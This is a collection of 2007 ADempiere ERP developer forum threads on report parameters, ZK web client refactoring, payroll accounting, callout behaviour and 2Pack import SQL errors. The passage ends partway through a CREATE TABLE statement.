Hi all

i have created a new process from "Report & Process" window and passing classname "org.compiere.report.ReportStarter". Also i have created some parameters too. when i run the process it asks for parameters, but when i try to getparameters in startProcess method through pi.getParameter(), it returns null. Why the parameters are null??

Also when i click on my reportProcess menu, it shows the start process dialog with appropriate parameters, after opening the report it again shows a startprocess dialog without any parameter. what may be the reason of this. can any one tell me.

Thanks in advance.

2007-05-30 10:55:11 UTC

I pass the parameters by adding the parameter in teh paramter Tab of the "Report & Process" window... teh important bit is to set the "DEFAULT LOGIC" to @PARAMETER@ where PARAMETER is the name of the Parameter you used when creating your report.

So for example I pass the Finanical period some reports I created.
My jasper report (freated using iReport) expects a parameter called C_PERIOD_ID

which it uses to restruct the selection.

On the report definition in the "Report & Process" window I create a new parameter in the Parameter Tab named C_PERIOD_ID and set the "Default Logic" to

@C_PERIOD_ID@

And this works for me!

When I run the report the I am prompted for the Period (with a drop down) and the ID of the selected period is passed to the report.

First time I forgot the "Default Logic"!

colin

2007-05-30 12:06:14 UTC

Parameters are case sensitive.

Record_ID != RECORD_ID

You need to set iReports parameters exactly you set in Adempiere parameter name (DB Column Name).

If you set the parameter mandatory you can not send NULL to iReports.

Kind Regards,
Ricardo

2007-05-26 09:52:47 UTC

Hello All!

Is there any issues, developing Adempiere on Postgre and deploy to production on Oracle XE?

2007-05-30 08:40:42 UTC

Hi,

>Is there any issues, developing Adempiere on Postgre and deploy to production on Oracle XE?

If you store all your customizations properly there will be no issues.
This means write sql statements for both Oracle and Postgres.

Kind regards,
Trifon

2007-05-30 16:22:59 UTC

thanks, Trifon!
we'll keep that in mind

2007-05-31 04:29:11 UTC

Hi all

I want to check the log files on client system. where i can found them.

Thanks in advance

2007-05-31 07:56:24 UTC

Dear Developers

I have built the Adempiere server from trunk revision 2513, everything seem to be fine. But when I start the server by running the RUN_Server2.sh and the JBoss has started, it show an exception as below. Is it the bug ? Or I have done something wrong ?

I have run the server under Fedora Core 6 and Oracle 10g R2.

Redgards
Puwadej

```
13:33:09,008 INFO [JkMain] Jk running ID=0 time=0/58 config=null
13:33:09,041 INFO [Http11Protocol] Starting Coyote HTTP/1.1 on http-nvb-
1.nvb.co.th%2F192.168.0.101-1443
13:33:09,074 INFO [Server] JBoss (MX MicroKernel) [4.0.2 (build:
CVSTag=JBoss_4_0_2 date=200505022023)] Started in 1m:33s:408ms
13:36:04,582 INFO [STDOUT] Exception in thread "System Alert Processor"
13:36:04,583 INFO [STDOUT] java.lang.IllegalArgumentException: AD_User_ID is
mandatory.
13:36:04,584 INFO [STDOUT] at
org.compiere.model.X_AD_User.setAD_User_ID(X_AD_User.java:116)
13:36:04,584 INFO [STDOUT] at org.compiere.model.MUser.<init>(MUser.java:272)
13:36:04,584 INFO [STDOUT] at org.compiere.model.MUser.get(MUser.java:133)
13:36:04,585 INFO [STDOUT] at
org.compiere.model.MClient.sendEMail(MClient.java:520)
13:36:04,585 INFO [STDOUT] at
org.compiere.server.AlertProcessor.processAlert(AlertProcessor.java:229)
13:36:04,585 INFO [STDOUT] at
org.compiere.server.AlertProcessor.doWork(AlertProcessor.java:67)
13:36:04,585 INFO [STDOUT] at
org.compiere.server.AdempiereServer.run(AdempiereServer.java:214)
```

2007-05-31 10:26:29 UTC

Puwadej,

I had the same problem and have reported this as a bug. Please refer to:
https://sourceforge.net/tracker/index.php?func=detail&aid=1726362&group_id=176962&atid=879332

As yet there is not a fix for this.

Tony

2007-05-06 13:13:38 UTC

Hi Posterita Team,

I have started to study and test the zk web client POC. Following are my observation so far :

- * Login, Desktop and AD base window is implemented. Not all features of window have been implemented.

- * There is a lot of copy and paste from the current swing client. I think with interface, abstract class and some refactoring, we can have more share code between the swing and zk client. Lots of duplicated code would mean future maintenance issue.

- * The web ui classes is using the org.compiere.webui package name, we should use the org.adempiere namespace instead.

To move things forward and for others to join the effort, it will be good if the Posterita team can share with the community what is their development plan for this. Also, a high level todo list for what is to be implemented would be good to indicate where the community can collaborate.

Regards,
Low

2007-05-07 13:46:54 UTC

Hi Heng Sin,

We would like to thank you for your observations which have been quite insightful.

We are currently focussing on priority issues such as the grid view, the process buttons, the search functionality(i.e. product, business partner, etc), and reports. We feel these are more important as of now and would appreciate your collaboration.

It is true it may seem that there is a lot of 'copy and paste' from the rich client but please

note that the AJAX client code has been modified in a way to suit ZK. We are mostly concerned about developing a working solution. However, we will certainly take into account the maintenance issues and welcome any suggestions on the matter of refactoring.

As for the web UI package name, the org.adempiere namespace seem to be the logical choice.

Regards,
Posterita

2007-05-07 14:50:53 UTC

Hi,

Thanks for the quick reply. I would like to help but couldn't without knowing what your are currently working on or plan to work on. I means not to do double or conflicting work. We can use either the SF tracker or wiki to address this.

It will be good if we can come up with a common API and structure for the swing and zk client. Without which, it will be very difficult to sync the two client in future. I will see whether I can come up with a more concrete proposal for this one.

Finally, we should move to the org.adempiere package name ASAP before the codebase grows even bigger.

Regards,
Low

2007-05-08 08:31:37 UTC

Hi Hengsin,

Thanks again for your interest. We are currently working on the document actions. If possible, you could surely help us on the other issues. We definitely have to synchronize our work.

We think it's a good idea to have a common API and as you mentioned, having a judicious use of interfaces would certainly limit the duplication of code. Specifically, as an intial idea, we propose refactoring the swing and zk client with methods that would load the appropriate API depending on certain conditions. This way, we can incorporate other AJAX framework besides ZK.

We are currently in the process of moving the package name to adempiere.

Regards,
Posterita

2007-05-08 08:45:53 UTC

Hi,

I think we should add an abstract client layer. Also the current client package contains a lot of business logic (e.g. take a look at all forms) which we need to push on a lower layer.

Best regards,
Teo Sarca

2007-05-08 08:46:26 UTC

We have to coordinate that using either the SF tracker or wiki. I means create a list of task/todo, put name on items that is being work on and that way we can avoid any double or conflicting work.

I will wait for the moving of the package name before making any further development work. Meanwhile, I will spend time on looking at how to refactor the current swing client so that some of the code can be reuse by the zk client. This will also have the added benefit that it will make porting to other UI toolkit easier in future.

Regards,
Low

2007-05-08 08:59:49 UTC

Hi Teo,

Yes, that's the idea, we need your help here! Can I propose we spend a week or two to look at this, come up with something concrete and discuss further ? Along the way, we can also post our findings and idea on the wiki to share it with the community.

Regards,
Low

2007-05-11 07:44:09 UTC

Hi Hengsin,

The package name has been moved as agreed but I need commit rights to get the codes to you. Also can you please create a tracker since I don't have the permission to do it. We shall use the tracker to coordinate our tasks as requested.

Regards,
Sendy

2007-05-11 14:25:24 UTC

Hi Sendy,

I'm glad to inform you here that you now have the svn commit right now and the zk tracker is ready -

https://sourceforge.net/tracker/?group_id=176962&atid=955896

Regards,
Low

2007-05-14 12:30:59 UTC

Hi Hengsin,

Thanks for giving me commit rights for the project. I removed the package org.compiere.webui and the files under it. But when i tried to commit the same files under the package name org.adempiere.webui it gives the error below:

svn: COPY of /svnroot/adempiere/!svn/bc/2036/contributions/posteritaWebUI/WEB-INF/src/org/compiere/webui/Desktop.java: 403 Forbidden (<https://svn.sourceforge.net>)

Can you please check this for me so that I can commit the change requested for package name.

Thanks & Regards,
Sendy

2007-05-14 15:52:37 UTC

Hi Sendy,

>But when i tried to commit the same files under the package name org.adempiere.webui it gives the error below:

>

>svn: COPY of /svnroot/adempiere/!svn/bc/2036/contributions/posteritaWebUI/WEB-INF/src/org/compiere/webui/Desktop.java: >403 Forbidden (<https://svn.sourceforge.net>)

Please try to use adempiere.svn.sourceforge.net

Kind regards,
Trifon

2007-05-15 11:23:02 UTC

Hi Trifon,

Thanks for the help. The commit is successful.

Regards,
Sendy

2007-05-15 11:28:02 UTC

Hi Hengsin,

I've committed the code with the package name changed to adempiere. I would appreciate if you could give me an idea of your approach to refactoring the swing client. Also, we can start coordinating on the tracker ASAP.

Regards,
Sendy

2007-05-16 15:07:31 UTC

Hi Sendy,

The problem with the current swing client is the mix of business logic, persistence logic and UI. We need to refactor the current client package to have a better separation of that so that we don't have to duplicating everything over to the zk client. I haven't done much work on this yet but I shall make some progress by the end of next week. Hopefully, others can jump in to help as well. Meanwhile, you can just continue with whatever you plan to work on and I would suggest you to first create the known todo item/task in the zk tracker first, it should make it easier for us and others to collaborate.

thanks.

Regards,
Low

2007-05-29 15:48:23 UTC

Hi Sendy,

After spending some time looking at the refactoring and client abstraction idea, I think it is too big an effort to undertake now for very little gain. Unless there are more volunteer to help on this, it is more practical to continue with your current approach. Also it is more interesting to work on working code now rather than a tedious, long refactoring process.

Sendy, what is your prefer way and time to have detail discussion on this ? Would like to have a detail chat with you before moving on.

Regards,
Low

2007-05-31 11:41:35 UTC

Hi Hengsin,

I understand your position and totally agree with you. You can join me on skype for a chat anytime. My username is sendy_yagambrum.

Regards,
Sendy

2007-05-31 09:39:44 UTC

Hello everybody,

My aim is to create new "payroll operation",
I've
created a table(UM_Payroll) in the DB,
created a table in Adempiere using the table in the DB,
created a Document type payroll in the "Reference",
created a Workflow
created (using GenerateModel) new class X_UM_Payroll,
created class MPayroll (extends X_UM_Payroll implements DocAction) and realized all needed methods,
created class Doc_Payroll(extends Doc) and realized all needed methods,
modified Doc.java.

everything seems fine and even beautiful :)
too beautiful to work without any problems.

I press complete->post
the button Not Posted becomes Posted
but when I open Account viewer, there is nothing concerning to my post.

did I miss something, can anyone help me...

thanks.

2007-05-31 09:57:27 UTC

To me it looks like the problem is in Doc.java or your Doc_Payroll.java - but without the code I can only guess :)

Regards,
Karsten

2007-05-31 10:31:38 UTC

Hi Karsten,

what can be wrong with Doc.java? I've added some new lines of code to that class:
public static final String DOCTYPE_Payroll = "PTA", and new elements into
documentsTableID and documentsTableName arrays.
is there any tutorial showing the right way to realize new class(I mean Doc_Payroll)?

2007-05-31 11:36:29 UTC

Hi Asset,

Maybe this article can help you:

http://www.adempiere.com/wiki/index.php/How_to_create_a_new_document_with_specific_accounting

Regards,

Alejandro

2007-05-31 11:55:37 UTC

Thanks everybody for helping me with my problem,
Karsten was right, the problem was with my Doc_Payroll class,
I'm very proud of being part of our big Adempiere community... :)

just one more question:

can I have an explanation of the following variables in the Doc.java, please:
AMTTYPER_Gross, AMTTYPER_Net and AMTTYPER_Charge (I've got some ideas, but m
not sure about them)

Thank you all...

2007-05-31 18:45:49 UTC

Sorry I don't know the answer to that question but at least it seems that my guessing is
getting better and better :)

Regards,
Karsten

2007-06-01 07:17:50 UTC

Assety,

Is there any possibility to get your work on Payroll? We are starting to work on this and it will be very helpful to see, what you have been done.

Thanks!

Katja

2007-06-01 09:04:36 UTC

Good day, Katja!

(I'm Aset's project manager)

We will gladly share what we have, but at this moment all we have is not working specific accounting window.

Our aim is to add simple Payroll with two stages:

1) The simplest: Just one window, which post amounts involved in payroll procedure to GL accounts (for our case, these are Administrative Expenses, Employee Salary, Social Tax, Pension funding, Individual income tax, Bank Account). In this stage, amounts will be still calculated in Excel, and than entered to Adempiere (single amounts for all employees).

2) Next stage will be transferring all calculations to AD, and post the amounts individually. This will involve making new attribute for Employee tab of Partners "Salary" and hopefully will also count days off and vacations.

If you are interested in such functionality, we'll gladly work together. But as this is our first developing for AD, I think it's us who will benefit from that :)

2007-05-30 14:37:10 UTC

hi

I want to understand SOA; does anyone know what is it especially for adempiere?

2007-06-01 11:29:47 UTC

Are you talking about Service Oriented Architecture? To be honest: The idea behind it is great; but I think SOA it is mostly a hype and buzzword.

In my opinion it is nothing more than the very old concept of componentized software, usually nowadays combined with web services.

My point is:

If the developers do not stick to the rules for components, there will be few advantages left.

And web services do not at all enforce componentized software.

To clarify what I understand of componentized software: Larger software systems which

consist of INDEPENDENT pieces of software (components). Thus, each component could be EASILY exchanged by another implementation.

I am new to the ADempiere source but as far as I have seen, it is not at all componentized. There is now a SOAP interface to it, thus you might use it as a web service, but that does NOT make it a SOA.

But I would like to change that.

... Michael

2007-06-01 11:55:23 UTC

2007-06-01 11:05:01 UTC

Hi,

sometimes application server loses connection with database(Oracle 10g XE), and can't create connection until i reload oracle server.

same things happen when m trying to connect with sqldeveloper or built-in oracle DB administrative tools...

i think, oracle just refuses to accept the connection.

what can you say about my problem?

Thanks in advance...

2007-06-01 13:04:19 UTC

Did you change a number of process in DB?

--See the max number of process

```
SELECT value FROM v$spparameter WHERE name='processes';
```

--Change 300 to number of process you want

```
alter system set processes=300 scope=spfile;
```

```
alter system reset sessions scope=spfile sid='*';
```

Best Regards,

Ricardo

2007-06-01 14:57:00 UTC

Good evening everyone,

I need to create a new account(ACCTTYPE_AdExpenses) to use it in my Payroll operation.

I've added,

```
public static final int ACCTTYPE_AdExpenses = 115;
```

to the Doc.java.

What should I do next?

Thank you....

2007-06-01 19:10:33 UTC

Hi all,

Is possible to get AD_Window_ID or AD_Tab_ID in ModelValidator.

Thanks in advance,
Ricardo

2007-05-31 10:02:45 UTC

Hi,

I am facing problem with callout. Suppose i have two tabs on a window ABC and XYZ. And on one field of XYZ lets say 'Age', there is a callout which do some calculations. When i set value in that field (ie Age) from ABC tab (from after save function of MAbc), callout of Age is not fired. In other words callout on 'Age' field is not fired when i set value in it from code.

But when i enter value in Age from XYZ tab itself, callout works properly.

Please help.
Its Ugernt

Thank You

Gaurav

2007-05-31 18:41:30 UTC

Hi Gaurav,

I'm missing some information - but I'll try by guessing :)

First - when you say 'i set the value from code' you mean from a callout - right?

If you implemented the callout the standard way you first check the static isCalloutActive() method and return if it returns true. Because it is a static method you

have only one instance for all callouts so it will return true if one callout is active. So if you implemented your callouts this way:

```
if (isCalloutActive() || value == null)
return "";
setCalloutActive(true);
```

[...] - your code

```
setCalloutActive(false)
return "";
```

then no callout can be executed while an other callout is running.
So to solve the problem you could just don't use the isCalloutActive() - but sometimes you need it because otherwise you could end in a circle - or you implement your own static myCalloutsActive() for every callout - to prevent you from circular callout runs but allow calling of an other callout while your callout is active.

Hope that I guessed right and that it will help you :)
Regards,
Karsten

2007-06-01 05:54:19 UTC

Hi Karsten

Thanks for your reply and information. Well, Karsten I am setting value not from callout bust from AfterSave function of M Class.

Let me explain you again.

let say there is window having two tabs. ABC and XYZ.

From AfterSave() function of ABC I am setting value in a field of XYZ. let say setAge(10); where Age is a field of XYZ table and has a callou attached with it. Now when i set value in Age from AfterSave() function of ABC, Callout that has been attached with this column is not fired automatically.

Earlier in previous version of Compiere and Adempiere it used to work fine.

Please help.

Thanks

Gaurav

2007-06-01 06:16:44 UTC

Hi Gaurav,

again to help you I need more information because there are many ways to set/save the value. So can you please post the relevant lines of code from the afterSave and perhaps the callout too so that I can simulate your setup here. And maybe we can discuss it in chat later.

Best regards,
Karsten

2007-06-01 06:39:34 UTC

HI

I am looking at a earlier version but this is my understanding.

Callouts are not automatically called from code. So if you set a field in code no callouts are called.

Callouts are generally used to set values on a window.

Thanks

Martin

2007-06-01 09:13:00 UTC

Ya Sure

I have two tabs

1. ABC
2. XYZ

against which I have MFiles

1. MAbc
2. MXyz

Tab XYZ has been linked with table name C_XYZ. This table has following fields:

1. AD_CLient_ID TableDirect
2. AD_Org_ID TableDirect
3. IsActive Char(1)
4. Name String(40)
5. Radius Number(10)
6. Area Number(10)

Now..on field Radius there is callout:

```
public String area (Properties ctx, int WindowNo, GridTab mTab,
```



```

GridField mField, Object value)
{
if (isCalloutActive() || value == null)
return "";
setCalloutActive(true);

BigDecimal radius = new BigDecimal();
BigDecimal pie= new BigDecimal(3);
BigDecimal area= new BigDecimal();

radius = mTab.getValue("Radius");
area=pie.Mulitply(( radius.Mulitply(radius));

mTab.setValue("Area", area);

setCalloutActive(false);
return "";
} // area

```

And I am setting value in field Radius from afterSave function of MAbc

```

protected boolean afterSave(boolean newRecord, boolean success)
{
if(newRecord & success)

MXYZ xyz = new MXYZ(getCtx(),0,null);
xyz.setRadius(10);
xyz.Save();

return true;
}

```

Now my problem is...wheni set value in radius, the callout 'Area' is not fired where it should be before itself and set value in area field. But it does not get executed by itself.

What could be the possible reason?

Thank You

Regards,
Gaurav

2007-06-01 09:29:00 UTC

Hi Gaurav,

As Martin already correctly mentioned, callouts are invoked by ADempiere GUI manager. So if you don't change a value through GUI, you can't expect the callout to run. For more info see GridTab.setValue().

One solution -perhaps a good practice- that I can suggest is to encapsulate what the callout does in a public method or class, so that callout simply invokes that worker method or class. This way you can call that worker method inside your code instead of being dependent on callout.

Warm regards,
Bahman

2007-06-01 09:42:46 UTC

Hi Bahman ,

Thanks for instant reply. Sorry i could not follow Martin that he is saying same thing. But Bahman, it was working fine in earlier versions of compiere. And yes..If the logic is complex like on PO line we have a callout on qtyEneterd which converts value of ordereQty according to UOm selected etc...But is it advisable to write that code again in our own function again. Dont we have any other wayout.

Thanks

Gaurav

2007-06-01 10:33:46 UTC

Gaurav,

> it was working fine in earlier versions of compiere
I don't have access to Compiere source code now but to be honest, I doubt if it worked even in Compiere. Anyway, as far as I know you can't do so in ADempiere.

> is it advisable to write that code again in our own
> function again

Obviously not! What I meant was that you can encapsulate your business logic in a method or even a class to which callouts or beforeSave() or afterSave() simply pass parameters. For example, If you have the following code:

```
beforeSave() {  
// do logic block L1  
.  
.
```

```
.  
}
```

```
afterSave() {  
  // do logic block L1  
}
```

```
someCallout() {  
  // do logic block L2  
}
```

it could be written as

```
beforeSave() {  
  logic_L1();  
}
```

```
afterSave() {  
  logic_L1();  
}
```

```
someCallout() {  
  logic_L2();  
}
```

```
logic_L1() {}  
logic_L2() {}
```

Just a simple example that you've certainly seen before :-)

> Dont we have any other wayout.

As far as I know, no. But someone else might have good ideas for your case.

Warm regards,
Bahman

PS: Please feel free to ask more questions if somethings are still unclear.

2007-06-01 10:46:26 UTC

Hi,

I just want to say that I think that Bahmans solution is the best and most transparent way to do this. So I would advise you to follow his suggestions.

Regards,
Karsten

2007-06-01 11:22:37 UTC

Thanks Bahman and Karsten for your valuable information.

Bahman I got your point but my real problem is that i am setting value in qtyEntered of PO line from a new tab that I have created below it. In afterSave() of my tab I am setting value in qtyEntered of PO line which is adding value in qtyEntered with every record being created in my tab and i wanted that it should fire callout attached on that field by itself ie org.Compiere.CalloutOrder.qty, which has lots of complex logic in it and it is not good to make any alteration in that callout.

I agree with you that it cannot fire that callout by itself. And i want that the code written in that callout should get executed, may it be through my own function.

If i cut that code and copy in my own function and give a reference to my function in that callout as u just explained above, dont you think I will have to pass all those parameters again like gridTab, WindowNo etc

```
Like u said
beforeSave() {
logic_L1();
}
```

```
afterSave() {
logic_L1();
}
```

```
someCallout() {
logic_L2();
}
```

```
logic_L1() {}
logic_L2() {}
```

and if we call logic_L2(); from someCallout() , I will have to pass parameters like ctx, windowNo, gridTab etc...right?

and if i want to call same function logic_L2(); from Before or afterSave() how would i pass those parameters (ctx, windowNo, gridTab etc) from my MClass...?

Thank you for your kind support

Regards,
Gaurav

Please do tell me if am making things complex. I hope I am clear in what I want to convey :)

2007-06-01 13:21:34 UTC

Hi Gaurav,

maybe I'm totally wrong but if you call the MOrderLine.save() method after the setting of the qty should be enough. In the beforeSave method of MOrderLine all values are recalculated.

Regards,
Karsten

2007-06-02 07:57:50 UTC

Hi Karsetn,

I tried that also but it does not calculate values by itself..I mean code written in Callout..
Thanks for your help :)

Regards,
Gaurav

2007-06-02 11:39:38 UTC

Hi Karsten,

Maybe I am totally wrong, but as far as I can understand there's a difference between what org.compiere.model.CalloutOrder.qty() and org.compiere.model.MOrderLine.beforeSave() do.

Warm regards,
Bahman

2007-06-02 12:22:09 UTC

Hi Gaurav,

It will not work that way. I talked with Teo about your problem, and this is the summary:

Teo: as i see you can't do this, basicly the question, is why ?
example: on afterSave you do some work to alter some columns and then you hit the save button. Now the afterSave is called or some model validators. The object is fetched again, some values are changed and you want to trigger a callout that -possibly- will alter some other fields. And the save button will be active again! So basicly - if you are not very careful - you will jump into a never ending save story.

That's why you can't call a callout from code.

But there's a problem: inside some callout methods lie some complex logic which - regarding the above fact- is not reusable. There are proposals to solve this issue. One of them, also from Teo, is http://sourceforge.net/forum/forum.php?thread_id=1746433&forum_id=610548

So if you have any ideas you're welcome to discuss them in that thread :-)

Warm regards,
Bahman

2007-06-02 14:12:08 UTC

Ah, better not use the Callout method that is inherited for another area, ie. real Callouts in AD stuff, yep its GUI action as aid above. To use in other area wont seem elegant.

Why not make a new field "radius" so that u can play with it more directly? U have to make the new field a child of your present context table - i.e C_XYZ

Or if dont intend to hae front panel processing, then to your backend just make a new method in the M_Xyz.java

2007-06-01 01:16:18 UTC

Hi All,

I am finding issues in /branches/libero/2pack/Libero.zip

Url:

<http://adempiere.svn.sourceforge.net/viewvc/adempiere/branches/libero/2pack/Libero.zip?view=log>

```
<column ADColumnNameID="DocAction" ADProcessNameID="Process
Manufacturing Order" ADElementNameID="Document Action"
ADReferenceNameID="Button" ADReferenceNameValueID="_ Document Action"
ADTableNameID="PP_Order" ADValRuleNameID="" Callout="" ColumnSQL=""
ColumnName="DocAction" DefaultValue="--" Description="The targeted status of the
document" EntityType="D" FieldLength="2" Help="You find the current status in the
Document Status field. The options are listed in a popup" isAlwaysUpdateable="false"
isIdentifier="false" isKey="false" isMandatory="true" isParent="false"
isSelectionColumn="false" isActive="true" isTranslated="false" isUpdateable="true"
Name="Document Action" getIsSyncDatabase="N" ReadOnlyLogic="" SeqNo="0"
VFormat="" ValueMax="" ValueMin="" Version="0"/>
```

Notice DefaultValue="--". When this is imported via PackInHandler.java it attempts to run this sql command:

```
CREATE TABLE PP_Order (AD_Client_ID NUMERIC(10) NOT NULL,
AD_OrgTrx_ID NUMERIC(10), AD_Org_ID NUMERIC(10) NOT NULL,
AD_Workflow_ID NUMERIC(10) NOT NULL, Assay NUMERIC DEFAULT 0,
C_Activity_ID NUMERIC(10), C_Campaign_ID NUMERIC(10), C_DocTypeTarget_ID
```

NUMERIC(10) DEFAULT 0 NOT NULL, C_DocType_ID NUMERIC(10) DEFAULT 0, C_OrderLine_ID NUMERIC(10), C_Project_ID NUMERIC(10), C_UOM_ID NUMERIC(10) DEFAULT NULL NOT NULL, CopyFrom CHAR(1), Created TIMESTAMP NOT NULL, CreatedBy NUMERIC(10) NOT NULL, DateConfirm TIMESTAMP, DateDelivered TIMESTAMP, DateFinish TIMESTAMP, DateFinishSchedule TIMESTAMP, DateOrdered TIMESTAMP DEFAULT NULL NOT NULL, DatePromised TIMESTAMP NOT NULL, DateStart TIMESTAMP, DateStartSchedule TIMESTAMP DEFAULT NULL NOT NULL, Description VARCHAR(510), DocAction CHAR(2) DEFAULT -- NOT NULL, DocStatus VARCHAR(2) DEFAULT 'DR' NOT NULL, DocumentNo VARCHAR(60) NOT NULL, FloatAfter NUMERIC, FloatBefore NUMERIC, IsActive CHAR(1) CHECK (IsActive IN ('Y','N')) NOT NULL, IsApproved CHAR(1) DEFAULT 'N' CHECK (IsApproved IN ('Y','N')) NOT NULL, IsPrinted CHAR(1) DEFAULT 'N' CHECK (IsPrinted IN ('Y','N')) NOT NULL, IsQtyPercentage CHAR(1) CHECK (IsQtyPercentage IN ('Y','N')), IsSOTrx CHAR(1) DEFAULT 'N' CHECK (IsSOTrx IN ('Y','N')) NOT NULL, IsSelected CHAR(1) DEFAULT 'N' CHECK (IsSelected IN ('Y','N')) NOT NULL, Line NUMERIC(10) NOT NULL, Lot VARCHAR(20), M_AttributeSetInstance_ID NUMERIC(10), M_Product_ID NUMERIC(10) NOT NULL, M_Warehouse_ID NUMERIC(10) NOT NULL, OrderType VARCHAR(1), PP_Order_ID NUMERIC(10) NOT NULL, PP_Product_BOM_ID NUMERIC(10) NOT NULL, Planner_ID NUMERIC(10), Posted CHAR(1), PriorityRule VARCHAR(1) NOT NULL, Processed CHAR(1) DEFAULT 'N' CHECK (Processed IN ('Y','N')) NOT NULL, Processing CHAR(1), QtyBatchSize NUMERIC DEFAULT 0, QtyBatchs NUMERIC DEFAULT 0, QtyDelivered NUMERIC DEFAULT 0 NOT NULL, QtyEntered NUMERIC DEFAULT 1, QtyOrdered NUMERIC DEFAULT 1 NOT NULL, QtyReject NUMERIC DEFAULT 0 NOT NULL, QtyReserved NUMERIC, QtyScrap NUMERIC DEFAULT 0 NOT NULL, S_Resource_ID NUMERIC(10) NOT NULL, ScheduleType VARCHAR(1) DEFAULT 'D', SerNo VARCHAR(20), Updated TIMESTAMP NOT NULL, UpdatedBy NUMERIC(10) NOT NULL, User1_ID NUMERIC(10), User2_ID NUMERIC(10), Yield NUMERIC DEFAULT 100 NOT NULL, CONSTRAINT PP_Order_Key PRIMARY KEY (PP_Order_ID))

Notice:

DocAction CHAR(2) DEFAULT --

This does not work but this might:

DocAction CHAR(2) DEFAULT '--'

Any ideas how to fix this?

Also PackOut.xml does not comply with xml validation. It says it is missing </process> closing tags etc... Does adempiere have a standard xml validator that 2pack could use to check for such issues before attempting to import?

Thanks,

Tim

2007-06-01 13:05:49 UTC

Hi Tim,

unfortunately I do not have eclipse at hand at the moment so I just looked into svn.

As this is constructed in PackOut.java line 2691 I would expect that it is either not correctly provided by `m_Column.getDefaultValue` or not correctly constructed by `atts.addAttribute`. Have you looked into them?

Regards, Dirk

2007-06-01 14:29:04 UTC

Tim,

forget my comment - I was looking at the wrong end...

Regards, Dirk

2007-06-02 13:39:14 UTC

Dont think u have to worry about close tags.. those are XML exceptions not the Handler's ones. This i remember from 2 years back when first tried XML2AD.

great progress u shown Tim!

2007-06-02 15:56:50 UTC

Tim,

trying to replicate your findings I first got lots of errors due to printfmat lines without any of the id fields having content. After deleting them I came across the missing `</process>` entries. so I put them in manually. Creating a patch file it turns out that everywhere there was an empty printfmat there is now a `</process>` line.

Looking at `PackOut.CreateProcess` I think that due to something about the printfmat the line with `hd_menu.endElement("", "", "process");` was never reached. did you see any errors while running PackOut?

After this patching PackIn is completeng. Alas I have all of the AD_Field entries in the log with status "Failure". It looks like the corresponding AD_Element entry has not been

generated and therefore org.compiere.model.MField.beforeSave always produces a null pointer exception.

To understand better: do you declare each table to be exported on its own? And are you importing to ora or postgres?

Regards, Dirk

2007-06-01 01:29:49 UTC

Hi All,

Discovered another Libero.zip issue:

table PP_Cost_Collector in PackOut.xml becomes the following sql:

```
CREATE TABLE PP_Cost_Collector (AD_Client_ID NUMERIC(10) DEFAULT
NULL NOT NULL, AD_OrgTrx_ID NUMERIC(10), AD_Org_ID NUMERIC(10)
DEFAULT NULL NOT NULL, AD_User_ID NUMERIC(10), C_Activity_ID
NUMERIC(10), C_Campaign_ID NUMERIC(10), C_DocTypeTarget_ID
NUMERIC(10) NOT NULL, C_DocType_ID NUMERIC(10) NOT NULL,
C_Project_ID NUMERIC(10), C_UOM_ID NUMERIC(10), Created TIMESTAMP
NOT NULL, CreatedBy NUMERIC(10) NOT NULL, DateAcct TIMESTAMP NOT
NULL, Description VARCHAR(255), DocAction CHAR(2) DEFAULT CO, DocStatus
VARCHAR(2) DEFAULT 'DR', DurationReal NUMERIC, IsActive CHAR(1) CHECK
(IsActive IN ('Y','N')) NOT NULL, IsBatchTime CHAR(1) CHECK (IsBatchTime IN
('Y','N')), M_AttributeSetInstance_ID NUMERIC(10), M_Locator_ID NUMERIC(10)
NOT NULL, M_Product_ID NUMERIC(10) NOT NULL, M_Warehouse_ID
NUMERIC(10) NOT NULL, MovementDate TIMESTAMP DEFAULT NULL NOT
NULL, MovementQty NUMERIC NOT NULL, MovementType VARCHAR(2),
PP_Cost_Collector_ID NUMERIC(10) NOT NULL, PP_Order_BOMLine_ID
NUMERIC(10), PP_Order_ID NUMERIC(10) NOT NULL, PP_Order_Node_ID
NUMERIC(10), PP_Order_Workflow_ID NUMERIC(10), Posted CHAR(1) NOT
NULL, Processed CHAR(1) CHECK (Processed IN ('Y','N')) NOT NULL, Processing
CHAR(1) DEFAULT CO, QtyReject NUMERIC, S_Resource_ID NUMERIC(10) NOT
NULL, ScrappedQty NUMERIC, SetupTimeReal NUMERIC, Updated TIMESTAMP
NOT NULL, UpdatedBy NUMERIC(10) NOT NULL, User1_ID NUMERIC(10),
User2_ID NUMERIC(10), CONSTRAINT PP_Cost_Collector_Key PRIMARY KEY
(PP_Cost_Collector_ID))
```

notice:

```
DocAction CHAR(2) DEFAULT CO
Processing CHAR(1) DEFAULT CO
```

I changed it manually to this:

```
CREATE TABLE adempiere.PP_Cost_Collector (AD_Client_ID NUMERIC(10)
DEFAULT NULL NOT NULL, AD_OrgTrx_ID NUMERIC(10), AD_Org_ID
NUMERIC(10) DEFAULT NULL NOT NULL, AD_User_ID NUMERIC(10),
C_Activity_ID NUMERIC(10), C_Campaign_ID NUMERIC(10), C_DocTypeTarget_ID
NUMERIC(10) NOT NULL, C_DocType_ID NUMERIC(10) NOT NULL,
C_Project_ID NUMERIC(10), C_UOM_ID NUMERIC(10), Created TIMESTAMP
NOT NULL, CreatedBy NUMERIC(10) NOT NULL, DateAcct TIMESTAMP NOT
NULL, Description VARCHAR(255), DocAction CHAR(2) DEFAULT 'CO', DocStatus
VARCHAR(2) DEFAULT 'DR', DurationReal NUMERIC, IsActive CHAR(1) CHECK
(IsActive IN ('Y','N')) NOT NULL, IsBatchTime CHAR(1) CHECK (IsBatchTime IN
('Y','N')), M_AttributeSetInstance_ID NUMERIC(10), M_Locator_ID NUMERIC(10)
NOT NULL, M_Product_ID NUMERIC(10) NOT NULL, M_Warehouse_ID
NUMERIC(10) NOT NULL, MovementDate TIMESTAMP DEFAULT NULL NOT
NULL, MovementQty NUMERIC NOT NULL, MovementType VARCHAR(2),
PP_Cost_Collector_ID NUMERIC(10) NOT NULL, PP_Order_BOMLine_ID
NUMERIC(10), PP_Order_ID NUMERIC(10) NOT NULL, PP_Order_Node_ID
NUMERIC(10), PP_Order_Workflow_ID NUMERIC(10), Posted CHAR(1) NOT
NULL, Processed CHAR(1) CHECK (Processed IN ('Y','N')) NOT NULL, Processing
CHAR(1) DEFAULT 'CO', QtyReject NUMERIC, S_Resource_ID NUMERIC(10) NOT
NULL, ScrappedQty NUMERIC, SetupTimeReal NUMERIC, Updated TIMESTAMP
NOT NULL, UpdatedBy NUMERIC(10) NOT NULL, User1_ID NUMERIC(10),
